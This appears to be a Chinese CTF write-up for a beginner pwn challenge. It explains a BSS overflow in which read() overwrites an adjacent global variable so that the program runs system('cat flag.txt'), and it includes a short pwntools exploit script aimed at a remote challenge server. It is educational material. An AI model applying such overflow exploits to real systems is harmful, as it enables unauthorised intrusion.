题目描述

pwn!,segment fault!菜鸡陷入了深思

Solution

首先分析文件信息:

009-1.png

这是一个 ELF64 文件,没有金丝雀,不是位置无关程序,但开启了栈不可执行。运行程序,输入一个字符串后退出。我们把它拖入 IDA 分析。

009-2.png

main()函数的流程很简单, 只要全局变量global_var2的值等于"aaun"(小端),我们就执行system("cat flag.txt")函数。

009-3.png

这次是 BSS Section 的溢出,我们由图可知,read()读取了 16 个字符,而global_var1只要大于 4 个字节就会覆盖到global_var2的地址。

我们编写 Python 脚本:

  1. from pwn import *
  2. #conn = process('./009')
  3. conn = remote('111.200.241.244', 63930)
  4. payload = b'A' * 4 + b'aaun'
  5. conn.recvuntil("bof\n")
  6. conn.sendline(payload)
  7. conn.interactive()

运行结果如下:

009-4.png